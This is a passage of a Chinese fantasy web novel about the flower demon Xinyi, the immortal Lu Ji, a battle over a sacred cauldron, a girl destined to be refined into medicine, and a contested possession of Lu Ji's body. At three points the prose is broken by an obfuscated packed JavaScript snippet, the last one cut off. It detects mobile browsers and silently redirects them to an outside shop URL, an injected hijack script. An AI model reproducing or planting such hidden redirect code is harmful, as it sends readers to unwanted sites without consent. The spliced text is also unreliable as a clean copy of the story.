再一定睛,他擦去唇角的血迹,笑容阴森森的:“听闻云山君为了我族的一个花妖剖去了半颗内丹,修为应当只剩一半了吧?区区半身修为也敢与本君相斗,未免太过狂妄!” “狂妄与否,妖君片刻便知。” 陆寂言简意赅,直指英招命门。 剑气如白虹贯日,带着雷霆万钧之势! 归藏剑与夺魂勾霎时战作一团,天地变色,风云翻涌。 另一边,仙障里,朔光君也没闲着,在互相残杀的弟子中寻找作乱的朱厌真身。 至于冲虚掌门的儿子章炀则手执玉笏代为开鼎。 一片混乱中,须弥鼎缓缓开启。 当完全打开的那一刻,万丈金光普照,一柄长剑凌空现世! 那一瞬,激战双方竟不约而同停了一刹—— 无尘剑,剑过无尘,果然名不虚传。 妖兵妖将见到此剑,如见旧主,攻势愈发猛烈,却在接近须弥鼎的刹那被一道凛冽剑气震开! 风雷俱动,万叶纷飞。 陆寂一身玄衣护在须弥鼎前,一夫当关,万夫莫开。 英招眼见夺鼎无望,败退几步:“九婴当年还是太心软,一念之差留了你这么个祸害,换作是我,必定斩草除根!如此,也就不会有今日这么多麻烦……” 话音未落,一道更刺眼的剑光直劈他面门! 英招急急躲避,右臂仍被剑气扫中,刹那断开,只余皮肉相连。 他痛不欲生,捂着血淋淋的伤口怒骂:“你果然心狠!” 朱厌见状也从人群中现身,他一把接住英招,面容阴柔,对陆寂笑道:“云山君真是好大的脾气呢!可来日方长,待妖皇出世,你的嚣张便也到头了!撤!” 一声令下,妖族大军撤去,混乱的祭台总算渐渐安静下来。 血鹫尸骸遍地,仙门也折损不少,有两个小宗门炼虚期的修士当场阵亡。 此时,和朱厌大战的朔光君扑通一声单膝跪地,半边身子都是血。 “徽儿!”冲虚掌门连忙上前将人扶住,回春谷的医圣立即替他诊治。 血海尸山中,只有陆寂仍是一身玄衣,片叶不沾。 丁香扯扯辛夷袖子,小声道:“你这名义上的夫君也太厉害了!只剩半身修为还能把英招打成那样,那可是英招啊,吃人不吐骨头的大妖!我以前竟还敢当面骂他,日后他若是能取回内丹,不会找我算账吧……” 辛夷轻声道:“不会的。云山君脾气虽然有点坏,心地还是很好的。” “是么……”丁香嘀咕着往辛夷身后缩了缩。 辛夷却留意到,陆寂执剑的右手始终背在身后—— 他应当也受伤了吧,毕竟只剩半身修为。 而且,他腰间一直佩戴的那个玉佩也不见了,或许是打斗时不慎遗落。 可他一句未提,医圣的注意力也全在朔光君身上。 辛夷寻了个由头说体乏,拉着陆寂回去。 回了院子后,辛夷才发现有血顺着他持剑的手往下滴,似乎是右臂的经脉震断了。 她忽然明白,陆寂从一开始便倾尽全力,以雷霆之势震慑英招。 此法果然奏效,连他们都未看出虚实,何况妖族。 修为越高,背负便越重,连受伤都不能轻易示人。 辛夷不由得感慨万千,悄悄派人去请医圣,然后翻找随身的金创药。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16990569|193112||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' “做什么?”陆寂微微蹙眉。 “你受伤了,我在给你找药。你放心,这都是都匀小仙准备的,保证无害!” 陆寂垂下眼帘,任由她动作。 刚刚所有人都在庆祝劫后余生,仿佛他迎战是理所当然,赢了也是应该的。 只有这不起眼的小花妖注意到了他受伤。 辛夷并未发现这无声的审视,见陆寂心绪有些低落,试图活跃气氛:“仙君,英招临走时所说的九婴是谁呢?她与仙君有仇么?” “你不知道?”陆寂忽然抽手,唇角带了点笑,却笑得十分瘆人,“你们妖族不是一向以此事为荣吗?” “什么……意思?我应当知道吗?”辛夷顿觉说错了话,“我、我们浮玉山在九州西荒,不仅在仙门看来偏僻,在妖界也是个极其荒凉的地方,怎会知道九婴这样的大妖呢。” 沉默片刻,陆寂终究还是没有多言,只说:“不知道便不必知道了。” “……好。” 辛夷察觉到他似乎非常不高兴,识趣地不再多问。 —— 不久,医圣赶到,诊视后倒吸一口凉气:“你这伤可不比朔光君轻,再深一分,右臂便废了!” “无妨。英招的手臂已经被我废了。”陆寂语气淡淡,似乎不觉得痛。 “你啊你,还是这副性子,一听到九婴便失控,仇是要报的,但无论如何,你自己的性命才是最重要的。” 医圣喋喋不休,似乎与陆寂颇为熟识。 包扎后,辛夷送医圣出门,才从他口中得知了陆寂为何突然变脸—— 原来陆寂全族曾被狐妖所灭,而那千年狐妖,正是妖皇座下护法之一,九婴。 难怪英招提及此名时他如此震怒。 难怪他最初那般厌恶她……或许不是厌恶她,而是憎恶一切妖族。 还有那枚失落的玉佩,似乎是他仅存的传家之物,竟也没有了。 辛夷心口发闷,像被什么堵着。 在这桩婚事里她从未想过伤害陆寂,但她的存在无时无刻不在提醒他那段血腥的过往。 可他并没有迁怒,甚至还帮她洗刷冤屈,教她修炼…… 她忽然也想为陆寂做些什么。 月色澄明,清透如玉,辛夷想起了那块失落的玉佩。 从夜幕降临一直找到黎明,在废墟残垣中找了许久,手都扒出血了,她终于在一处倒塌的石碑下挖出了陆寂的那块玉佩。 虽裂了一道纹,起码东西还在。 她小心翼翼用裙裾擦干净,拍拍身上的灰,小跑着回去。 陆寂这般在意家人,相信能找回玉佩他一定很高兴吧。 不料刚进院,门内气氛却极为凝重。 无量宗的弟子个个屏息凝神,丁香也垂着头,仿佛被训斥过一顿。 陆寂端坐庭中,面沉如水,见她进来,声音透着冷意:“我是不是告诉过你,不得擅自离开?妖族奸细尚未肃清,你为何总是惹是生非?” 辛夷连忙解释:“抱歉,仙君,我只是见你的家传玉佩丢了,想去找回来。” 家传的玉佩? 陆寂略一思索,才明白这小花妖指的是他平日里佩戴的那枚玉佩。 可那并非家传,不过是都匀为他准备的寻常佩饰之一。 这样普通的玉佩,没有一千,也有数百。 他眼中不无讽意:“谁告诉你这是本君的家传玉佩?还是你自己凭空臆测?” “啊,不是吗?”辛夷窘迫不已,慢慢摊开手心,声音轻了下去:“我知道珍贵的不是玉佩,而是玉佩所承载的情意,我只是想为仙君做一点事情,没想到会弄巧成拙,是我错了……” 她指缝里都是血,衣裙也被碎石划得破烂不堪。 唯独掌心那枚玉佩被擦得干干净净。 甚至那道裂隙里也不见半点尘灰。 陆寂本欲继续训斥,不知为何,望着那块干净到发光的玉佩忽然什么也说不出来。 小花妖说的对,珍贵的从来都不是玉佩。 他终究还是没说破,反而伸手接过,淡淡丢下一句。 “下不为例。” “仙君高兴便好! ” 辛夷原本低垂的头瞬间抬起,眼眸亮晶晶的,满满的全是欣慰。 ——看来,这玉佩果然是仙君的传家之宝,能够找回,也算是帮了他一点小忙了。 16.槛花笼鹤(七) 都匀小仙侍奉陆寂许多年了,此次出行,自然也随侍在侧。 旁观了全程,都匀觉得那块玉佩分外眼熟。 这分明是往年他按陆寂的仙袍色泽一批批置办的配饰之一。 怎的到了仙君口中,竟成了家传的玉佩? 是仙君记岔了? 都匀转念又立刻否定,仙君一向过目不忘,绝不会出错。 那便是自己记混了。 想必仙君的确有一枚形制相近的传家玉佩,所以今晚才未曾责罚这小妖。 他宁愿相信是自己的记忆出错了,也没怀疑陆寂一丝一毫。 众人散去后,丁香和辛夷一同回去,看到她受伤的手指不由得心疼。 “你真傻,你和云山君只是做戏而已,何必如此当真,竟为了他的玉佩把自己折腾成这个样子?” 辛夷掸了掸身上的尘土,却很开心:“不是特意为云山君,任何人帮过我,我都是要回报的。云山君无欲无求,我能为他做的实在有限,所以才去帮他寻找这家传的玉佩。” “是吗?”丁香隐隐觉得有些不对。 不同于辛夷生长在荒野,她从前当丁香花时长在一个富户家中,见识过不少好东西。 那玉佩虽是上乘的羊脂玉,但陆寂出身似乎更加不凡,据说是传承万年的陆吾神族,如此普通的玉佩当真会是他的传家之宝吗? 但陆寂既没否认,便断不可能有假,兴许是这玉佩背后有什么不为人知的故事吧。 丁香没把心中所想说出来。 —— 一夜过后,万相宗上下已经打扫干净。 看不见半块残砖,也找不着半个尸体,甚至连大殿前青砖缝中的血迹也被冲刷干净。 要不是有两个小宗门的人因死了宗主哭丧着脸,仿佛无事发生。 冲虚掌门亲自安慰了一番,并给了许多上好的法器和丹药。两个小宗门本就名不见经传,得了万相宗这么多法宝也不好再计较,只想带着宗主的尸体回去好生安葬。 可惜,两位宗主的尸骨却四处搜寻不到。 章炀出面解释道:“那朱厌混入弟子中施展幻术,贵派宗主正是为其所惑。混乱中我曾见二人互相残杀,后来大厦倒塌,乌云蔽日,他们也随之消失……恐怕是在那时遭了朱厌毒手。” “幻术再厉害也毕竟是幻术,为何连尸首也没剩下?这教我们如何向门下交代?” “妖物嗜血,或许是被朱厌吞吃了。”章炀给不出明确解释。 最终,还是冲虚掌门又添了些许法器,才将此事按下。 当然,相比须弥鼎和那把无尘剑,这些只能算小插曲。 经过百年的炼制和净化,无尘剑妖气尽除,锋芒毕露,堪称绝世名剑。 万相宗炼制的法器通常会卖与各个宗门,无尘剑也不例外。 不少宗门开出高价,甚至愿以秘宝相换。 冲虚掌门却一概回绝,反而当众将这把剑赠予了陆寂。 “此次能护住须弥鼎、击退妖族全仰仗云山君,昨日小女危急之时,也是仙君出手相救。这无尘剑便当作谢礼,仙君务必收下。” 面对如此至宝,陆寂却淡声回绝:“分内之事,掌门不必客气。” “我万相宗有仇必报,有恩更是必报,云山君不收,难道是看不上这无尘剑?” “自然不是……” “那便请收下罢。” 冲虚掌门再三恳请,陆寂只得接过。 不过他已有归藏剑,这无尘剑对他而言并无用处。 回去的路上,蹀躞带上的玉佩在明媚的阳光下迸发出亮眼的火彩,不经意间晃了一下他的眼,他便随手将无尘剑递给了身旁的人。 辛夷是知道这剑的来历的,连忙推拒:“这么贵重的东西我怎么能收?” 然而陆寂语气波澜不惊:“这剑虽好,对我却无用,无量宗剑冢更是有无数绝世名锋,师尊也不会在意。你修为低微,却喜惹是生非,这剑便留给你防身,免得日后惹出祸端。” “原来是这样……”辛夷小心接过,“那这段时日我便代为保管,等到将仙君的内丹归还,两清之日,我再将这剑还回去。” “随你。”陆寂似乎并不在意这点小事,转身便走。 于是这把剑便成了辛夷的佩剑。 无尘剑这样的法宝各方都密切关注着。 见它竟落到辛夷手中,不少人眼热不已。 “无尘剑这样的神器云山君竟然随手便给了这小花妖,这小花妖还真是命好!” “人家是正经的夫妻,对着江河大泽拜过天地的,不给内人,难道给外人?” “哼,这小花妖又没什么本事,给了她也是浪费!她能攀上云山君,还不是靠那副皮囊?早听说花妖貌美,善于蛊惑人心,这一位果然是翘楚,眉目如画,肤白胜雪,难怪连云山君也逃不过。” “什么妖不妖的,人家如今也修仙了。” “岂止修仙?我听说啊,她可是夜夜缠着云山君双修到五更呢!” “五更?嚯,夜夜笙歌啊!当初她自剖妖丹时我还觉得她痴傻,如今看来,她怕是早算计好了——弃妖修仙,再靠与云山君双修增进修为,这不比当妖强上百倍?如今,连无尘剑这样的法宝也拿到了手,简直是一步登天!” “原来是这样,藏得可真够深……” 众人窃窃私语,恰好经过园子的辛夷心里直喊冤。 剖丹时她连双修是什么都不明白呢,即便现在他们也只是陌生人,她的修为都是靠自己日日熬夜,勤修苦练得来的,何谈心机? 至于这无尘剑更是偶然,分明是陆寂看不上又怕她惹麻烦随手给她的。 罢了,待她离开无量宗,这些流言自会消散。 辛夷决定不跟他们计较,一言不发地走过,没留意远处水榭中的越清音手中的瓷杯渐渐捏紧。 —— 大典顺利结束,举世瞩目的无尘剑也有了归处,众人陆续请辞。 陆寂原本也是要离开的,但经过英招和朱厌联手进攻后,冲虚掌门认清了形势,主动提出将须弥鼎暂送无量宗保管。 “须弥鼎关系天下安危,若有闪失,老夫万死难辞其咎。然而老夫年事已高,长女又重病缠身,实在无暇分心看守。无量宗的护山剑阵代代相传,固若金汤,将鼎置于此处最为稳妥。贤侄若是愿意,还请将此鼎带回去,暂时代为保管。” 清虚子在陆寂出发前便预想过此种情形,因此陆寂并未回绝,只道:“掌门放心,妖皇已被封印三千年,只要今年之内不得解封,便会神魂俱灭。到那时,妖族再无倚靠,无量宗自会将须弥鼎完璧归赵。” “无量宗行事老夫自然放心,贤侄的为人更是有目共睹,须弥鼎交由贵宗老夫毫无顾虑。不过……”冲虚掌门又叹气,“小女病重,此鼎还需暂留几日,为小女炼制丹药。三日之后,待丹成之际仙君再离开,可好?” 不过是多留三日,陆寂自然没理由拒绝,出于礼数又关心道:“敢问掌门,令爱已找到治愈的良方了?” 清虚子言辞模糊:“不过是个偏方,姑且试试。” 他显然是有难言之隐,陆寂也没多问,只答应会在此再停留三日。 丁香得知后十分欣喜:“听说兖州城极其繁华,我们还未好好逛过。既然要多留三日,不如出去走走?” 辛夷望向陆寂:“仙君,可以吗?我们绝不惹事。” “都匀会跟着你。”陆寂道。 这便是允了。 辛夷欢喜道谢,忽然间又想起什么。 “话又说回来,万相宗的这位大小姐不是已经病入膏肓了么?怎会突然有药可医?是什么灵丹如此神奇?” 陆寂不愿多言,在辛夷再三追问下,他才提起一二。 “若我没猜错,应是药人。” 联想前后,辛夷脑中冒出一个可怕的念头:“你是说——这冲虚掌门要将那药人投入须弥鼎,炼成丹药救治女儿?” “你见过那药人?” “偶然碰见过。”辛夷回想道,“那女子与大小姐年岁相仿,手腕上都是疤痕,有一道新鲜的还在滴血……” “那便没错了。”陆寂道,“万相宗擅长豢养药人,上至掌门,下至长老,每个人都有自己的药人,你见到的应当便是章若柳的药人。” “这些药人自小便会按照主人的体质喂养天材地宝,就是为了有朝一日主人出事时能为其续命。至于你看见的那个药人手腕上的疤痕,应当是这些年放血为章若柳炼丹所致。今日冲虚掌门说的有药可医,恐怕是指将这药人整个人入药。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16998219|193112||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ” “把人炼成丹药?”辛夷头一回听见这么可怕的事,“可是,凭什么呢,大小姐的命是命,那女子的性命也是命啊……” 陆寂神色淡漠:“这样的药人有许多,就算能救下一个,也救不了全部。何况,冲虚掌门愿意把须弥鼎交给无量宗,本就是一场交换。” 辛夷明白了,以陆寂的聪明,冲虚掌门已经猜到他会知晓,所以特意把鼎献出来,目的便是请无量宗不要干涉。 两大宗门之间的事,她一个小妖又能怎么办呢? 辛夷低下头,无可奈何地答应:“……好,我不会乱来的。” —— 得知了这么残酷的事情后,辛夷即便能与丁香出游,也提不起兴致。 往常觉得富丽堂皇的屋宇,此刻也好似囚笼一般,令她心中发闷。她干脆出了门,在院落周围闲逛。 不成想,正巧碰见了那药人。 这药人眉清目秀,记性也十分好,一眼便认出了她,还为那日出言相劝的事跟她道谢。 辛夷连忙说不必。三言两语间,得知她名叫“夭夭”。 终究是于心不忍,辛夷悄悄把炼丹的事情告诉了夭夭。 没想到夭夭一脸淡定,甚至浅浅一笑:“我知道啊,就在明天。所以今晚我才被允许出门,最后看一眼天上的星星。” 她抬头仰望星空,漫天的星河仿佛倒映在她眼中,璀璨得令人不敢直视。 辛夷移不开眼:“你不害怕吗?据说须弥鼎中的火是永世不灭的业火,烈火焚身,定然痛苦无比。” “欠了债,总要还的。” “什么债,你是说万相宗抚养你长大的恩情吗?可是,再怎么说,也不该用命去还…… ” 夭夭语气平静:“我原本是个乞儿,是冲虚掌门把我带回来,我才没被大雪冻死。能活到现在,我已经很满足了。何况,大小姐是个很好的人,没生病时,她待我就像姐妹一样。冲虚掌门原本也不想让我赴死的,还有……” 她顿了顿,像想起什么:“还有许多人一直在背后护着我,所以这些年掌门才只是让我割血入药。可如今大小姐已药石无医,实在别无他法了,我也该报答了……” 辛夷听罢,愈发唏嘘:“原来还有这么多内情。” “这是我的命,也是我甘愿的,我并不怕。”夭夭反过来劝慰辛夷,“倒是你,他们私下里都说你是绝世妖姬,可今日一见,你哪有点半点妖姬的样子,分明比我这个常年不出门的药人还单纯!” 辛夷挠了挠头:“真的很傻气吗?难怪云山君老是嫌我愚钝。” 夭夭摇头:“不,不是傻,是难得。倘若给我的时间再多些就好了,或许我们能成朋友。” 辛夷道:“难道现在我们不是朋友吗?” 夭夭扑哧一笑:“是,当然是。” 她笑起来很好看,能看见两颗尖尖的虎牙。 辛夷看着眼前活生生的人,再望向已经升到半空的月亮,心绪异常复杂。 这一晚,她们聊了很多,直到更深露重,躲在暗处一直监视夭夭的万相宗弟子现身催促,夭夭才同她分开。 她依然笑着,对辛夷道:“真的不必为我难过。大小姐会带着我的命一起活下去,只要她永远幸福,我便也会永远幸福。” 辛夷默然望着夭夭远去的身影,说不出一句话来。 —— 这一夜,辛夷默默祈祷了很久,盼望能有奇迹发生,比如大小姐忽然痊愈,比如有其他办法,这样夭夭就不用送死了。 然而世上并没有那么多奇迹。 次日一早,冲虚掌门在金光殿亲自护法,朔光君则以灵力催动丹火,须弥鼎如期开启。 辛夷原是想去见夭夭最后一面的,但终究还是不忍心,只托陆寂代她带去一枚香囊。 “这是我的花瓣所制,可以安魂定魄。夭夭带着上路,或许……能少些痛苦。” 陆寂捏着那香囊,再望向因为替他寻找玉佩尚未痊愈的手指,眼帘微微掀起。 “你对所有人都是一视同仁的好?哪怕……只见过一面?” 辛夷不明白他的意思,纠正道:“不是一面,是两面。昨晚我又见到了夭夭。” 陆寂似是极淡地笑了一下,眼底却看不出情绪,将香囊收入袖中。 17.槛花笼鹤(八) 须弥鼎开启后,一切已无可挽回。 夭夭的身影不断浮现,陆寂又去了竞陵祭祖,辛夷在万相宗坐立难安,便干脆同丁香一起下山散心。 兖州城果然热闹,人流如织,车水马龙,长街两侧更是店铺林立,各色酒旗迎风招展。 换作从前,辛夷定要兴致勃勃地从早逛到晚。 可今日,她实在提不起兴致。 丁香一路上说着这几日从万相宗弟子那儿听来的趣事,想逗她开心。 辛夷很给面子,勉强地扯了扯嘴角,心里却忍不住想夭夭此刻是不是正在丹炉中承受烈火焚身之痛?陆寂面对三百多座坟冢,又会是怎样的苍凉心境? 越想,心情越低落。 丁香忍不住劝:“你呀,就是想得太多。这些事你既然无法左右,又何必自寻烦恼?” “世上的事很少能自己左右,正因如此,多一个人在乎,才不会让生死也显得那么轻贱。” “你说的也不无道理。” “那山上仿佛有个古刹,不如去拜一拜吧?” “你那夫君已是当世修为第一人,求佛不如求他,何必舍近求远?” “可是,世人都求他庇护,又有谁来庇护他呢?我也想为他拜一拜。” “……好吧。” 于是两人便向青山上的古刹跋涉而去。 —— 这座古刹名为大昭寺,据说是当世首屈一指的禅院。 墙壁斑驳,古木参天,看起来已经有不少年头,纵然坐落在极高的半山腰,前来朝拜的人也络绎不绝。 辛夷生而为妖,做人还不太熟练,便学着前面的香客一步步燃香,跪拜,双手合十,低声许愿。 但她实在不清楚这些菩萨和罗汉是保佑什么的,索性拉着丁香把寺内所有的殿宇全部拜了一遍。 礼多神不怪,多拜拜总能蒙对一个吧? 一圈拜下来,丁香远远看到蒲团便膝盖发酸:“还要拜啊?可这间大殿里供奉的好像不是佛像……” 辛夷仔细看了看,还真是,只见这间佛堂里供奉着许多盏长明灯,每一盏灯,都代表一位逝者。 发觉打扰了逝者安宁,她便顺手取勺为眼前几盏灯添了些油,算是致歉。 这时,身后忽然传来熟悉的脚步声,辛夷一回头,竟看到了陆寂,他今日一袭玄色锦袍,衬得面色愈发冷白。 陆寂显然也没想到会在这里遇见她,两人隔着袅袅升起的香火遥遥相对,一时无言。 丁香惊讶道:“你们也太有默契了吧,明明是往相反的方向去,怎么还能碰到一起?” 辛夷也想不通,又觉得这话太过暧昧,扯了扯丁香的衣袖。 陆寂倒是神色如常,仿佛只是看见一个无关紧要的人,身旁还跟着一位添灯油的小沙弥。 辛夷顿时明了:“这佛堂中供奉的是竞陵陆氏的先辈?对不住,我并非有意靠近,更无意冒犯……” 她慌忙放下灯勺,甚至用衣袖轻轻擦拭方才碰过的地方。 陆寂掠过她略显仓惶的动作,语气平静:“无妨。家母生性宽仁,向来不会拒绝任何人。” 原来眼前这盏长明灯属于他的母亲,辛夷便只好继续把手中的灯油添完。 之后,陆寂不再多言,只沉默地为每一盏陆氏先辈的长明灯添油,辛夷则在一边静静旁观。 这座佛堂被陆寂下了仙障,妖族只要靠近便会浑身不适,丁香便去后山吃些素斋等他们。 等一切都结束时,日头已经西斜。 两人一前一后回去,途经一处僻静禅院时,一位须眉皆白的老禅师忽然唤住了陆寂。 “施主,你终于来了。你在寺中所求的平安符早已备好,说好一个月来取,至今已两月有余。老衲还以为施主忘记了。” 禅师慈眉善目,身旁的小沙弥恭敬捧出一只乌木匣。 陆寂略侧过身:“晚辈并未求过平安符,禅师或许认错了人。” “哦?”禅师细细端详一番,笃定道,“施主丰神俊朗,风姿卓然,老衲断不会认错。施主可是姓陆?” 辛夷觉得奇怪:“禅师怎会知晓,这匣子里又是何物?” “一枚千年檀香制成的平安符,可祛邪护身。”禅师温声答道,“这位女施主想必便是尊夫人吧?当日这位施主说是为夫人所求,待大婚后便来取。容貌,姓氏,缘由全都对得上,怎会……” 禅师凝着眉头,似有不解,陆寂却明白了,这平安符的确是他所求,或者说,是当初那个占据他身体的人所求。 夺舍之人的一举一动他犹如亲历,只是夺回身体后诸事纷杂,这等微末小事他并未放在心上。 他问道:“这符上是否刻了一朵辛夷花?” “不错。”禅师欣慰道,“施主这是想起来了?” 陆寂略一点头,辛夷即便再迟钝,此刻也反应过来了——这平安符,是曾经那个与她相爱的“他”为她求的。 她缓缓打开乌木盒,只见那枚被香火供奉被虔诚祈祷过的平安符静静躺在盒中,那朵辛夷花刻得精巧玲珑,栩栩如生。 心口仿佛被千根针扎过,泛起细密的酸疼。 当初她剖去妖丹后身子一直虚弱,那人曾在榻边握着她的手说特意不远千里去了一处极为灵验的寺庙为她求了平安符,保佑她早日好起来。 之后变故接二连三,那人在大婚之夜不告而别,她一度以为这段时日是被戏弄了。 但这枚平安符确实存在,那么,那个人也的确是真心待她的吧? 辛夷紧紧握着这个平安符,眼眶顿时红了一圈。 禅师见此情形只觉得奇怪:“分明是喜事,施主何以伤怀?” 辛夷心口堵了许多话,却生怕一开口眼泪便会掉下来,最后还是陆寂打破了僵局,简单寒暄后将她带离。 —— 正值七月中,草木蓊郁,柏树森森,后山的小径更是安静到没有一声鸟鸣。 陆寂径自向前,许久才察觉身后那小花妖未曾跟上,一回眸,只见她停在数步之外,身形单薄,失魂落魄。 他修的是太上忘情之道。太上忘情,并非无情,而是洞悉世情,却超然其上,不为情牵,更不为情困。 他一向做得极好,芸芸众生,爱恨嗔痴,在他眼中与草木枯荣,浮云聚散并无不同。 不过一枚平安符而已,却能令这小花妖魂不守舍至此,着实愚昧。 他语调冷淡:“沉湎过去只会徒增烦恼,你若想宣泄,本君可给你一刻钟。” 辛夷却摇头:“谢过仙君,但我现在并不觉得难过,反而有些欢喜。” “欢喜?”陆寂冷漠的眼神中有一丝淡淡的不解,“为何?” “因为得到了答案。”辛夷将那枚平安符紧紧贴在心口,“知道他一直是真心待我的,这就足够了。” “他不告而别,你也不怨?” “他一定有他的苦衷。”辛夷陷入回忆,“他是个很好的人,曾带我尝遍四方美食,看尽人间烟火,还陪我寻过传说中的天涯海角,那是我第一次知晓天地原来这般广阔。” 陆寂只觉得天真:“不过是些微末伎俩罢了,这便能令你牵挂至此?” “自然不是。”辛夷继续道,“吃喝玩乐固然令人开心,但终有厌倦的时候,真正令我动心的是在伏魔洞遇险那次——” “那时我想回浮玉山,半路却被魔物掳去。那魔要吃了我,我百般挣扎都无法挣脱,危急关头,是他从天而降击杀了魔物,将我救出。那时,我已经被困 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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倘若当初救下你的,并不是那个夺舍之人,倘若令你动心的那一剑,也不是他,你会依旧爱他,还是…… 这荒缪的真相几乎难以抑制。 但他修的是大道,与这小花妖成婚不过是那夺舍之人用他的身躯走的一段弯路。 几乎不需要思索,多年的冷静告诉他,将错就错,方能尽早了断,回归正轨。 他向来是这般做的,也理应继续如此。 然而蹀躞带上的玉佩被山风拂动,泠泠作响,却令他一向平静到近乎死寂的识海难以安宁,甚至罕见地有几分心烦意乱。 陆寂面色微冷,薄唇动了动,欲言又止,就在此时,识海忽然剧烈震荡,仿佛有一股力量在试图抢夺这具身躯的控制权。 是那个人。 那个夺舍之人正试图回来! 这段时间陆寂偶尔会有头疼之感,他并未在意,只以为是剖去半颗内丹的遗症。如今想来,这或许是神魂被不断冲撞的征兆。 那个人虽然离开了,但从未放弃过回来,竟一直在试图抢占他的身体。 陆寂当即凝神镇压,两道神魂激烈交锋,这具身躯微微颤抖,脸上神情瞬息万变。 辛夷终于察觉不对,慌忙扶住眼前的人:“仙君,你怎么了?是旧伤发作了吗?” 听到她的声音,感受到她的触碰,那异魂冲撞得愈发猛烈。 有一瞬间,那弱小的神魂竟疯魔了一般硬生生冲破了压制,伸出双臂紧紧抱住眼前的人—— “辛夷……辛夷……” “是我!” 夺舍之人用他的声音嘶吼着。 陆寂强行压制,不知为何,双臂却不受控制般将怀中之人拥得更紧。 辛夷浑身一僵。 分明还是陆寂的声音,是陆寂的躯体,可她在瞬间认了出来,是那个人,是他的神魂在呼喊她。 “是你?真的是你吗?你……回来了?” 她没有任何犹豫伸手回抱住。 这一刹那,陆寂第一次清晰无比地感受到了温暖的拥抱和热烈的爱意,然而这满腔的爱意却穿透他的躯壳,一丝不剩,全部涌向了另一个人。